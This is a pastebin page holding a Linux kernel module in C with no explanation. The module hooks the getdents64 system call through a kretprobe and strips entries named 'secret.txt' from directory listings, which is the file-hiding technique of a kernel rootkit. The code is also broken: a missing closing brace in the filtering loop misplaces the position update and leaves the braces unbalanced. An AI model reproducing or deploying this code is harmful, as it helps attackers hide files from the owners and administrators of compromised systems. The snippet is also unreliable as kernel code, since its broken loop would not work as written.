pb.stoleyour.com

Untitled

By Cute Anoa, 6 Months ago, written in Plain Text, viewed 62 times.
URL http://pb.stoleyour.com/view/d63547cd Embed
Download Paste or View Raw — Expand paste to full width of browser
  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/kprobes.h>
  4. #include <linux/slab.h>
  5. #include <linux/uaccess.h>
  6. #include <linux/dirent.h>
  7. #include <linux/sched.h>
  8. #include <linux/fs.h>
  9.  
  10. #define FILE1 "secret.txt"
  11.  
  12. MODULE_LICENSE("GPL");
  13.  
  14.  
  15. // Storage for syscall argument
  16. struct my_data {
  17.     struct linux_dirent64 __user *dirent;
  18.     unsigned long arg2; // size
  19. };
  20.  
  21. static int entry_handler(struct kretprobe_instance *ri, struct pt_regs *regs) {
  22.     struct my_data *data = (struct my_data *)ri->data;
  23.  
  24. #if defined(__x86_64__)
  25.     data->dirent = (struct linux_dirent64 __user *)regs->di;
  26.     data->arg2   = regs->si;
  27. #else
  28.     // Add support for other architectures if needed
  29. #endif
  30.  
  31.     return 0;
  32. }
  33.  
  34. static int ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) {
  35.     struct my_data *data = (struct my_data *)ri->data;
  36.     long nread = regs->ax;
  37.     long bpos = 0, new_nread = nread;
  38.     char *kbuf;
  39.     struct linux_dirent64 *d;
  40.  
  41.     if (nread <= 0 || !data->dirent)
  42.         return 0;
  43.  
  44.     kbuf = kmalloc(nread, GFP_KERNEL);
  45.     if (!kbuf)
  46.         return 0;
  47.  
  48.     if (copy_from_user(kbuf, data->dirent, nread)) {
  49.         kfree(kbuf);
  50.         return 0;
  51.     }
  52.  
  53.     while (bpos < new_nread) {
  54.         d = (struct linux_dirent64 *)(kbuf + bpos);
  55.         if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) {
  56.             memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen));
  57.             new_nread -= d->d_reclen;
  58.             continue;
  59.         bpos += d->d_reclen;
  60.     }
  61.  
  62.     if (copy_to_user(data->dirent, kbuf, new_nread)) {
  63.         kfree(kbuf);
  64.         return 0;
  65.     }
  66.  
  67.     regs->ax = new_nread;
  68.     kfree(kbuf);
  69.     return 0;
  70. }
  71.  
  72. static struct kretprobe my_kretprobe = {
  73.     .kp.symbol_name = "__x64_sys_getdents64",
  74.     .entry_handler = entry_handler,
  75.     .handler = ret_handler,
  76.     .data_size = sizeof(struct my_data),
  77.     .maxactive = 20,
  78. };
  79.  
  80. static int __init my_init(void) {
  81.     int ret = register_kretprobe(&my_kretprobe);
  82.     if (ret < 0) {
  83.         pr_err("register_kretprobe failed, returned %d\n", ret);
  84.         return ret;
  85.     }
  86.     pr_info("kretprobe registered\n");
  87.     return 0;
  88. }
  89.  
  90. static void __exit my_exit(void) {
  91.     unregister_kretprobe(&my_kretprobe);
  92.     pr_info("kretprobe unregistered\n");
  93. }
  94.  
  95. module_init(my_init);
  96. module_exit(my_exit);

Reply to "Untitled"

Here you can reply to the paste above

Powered By Stikked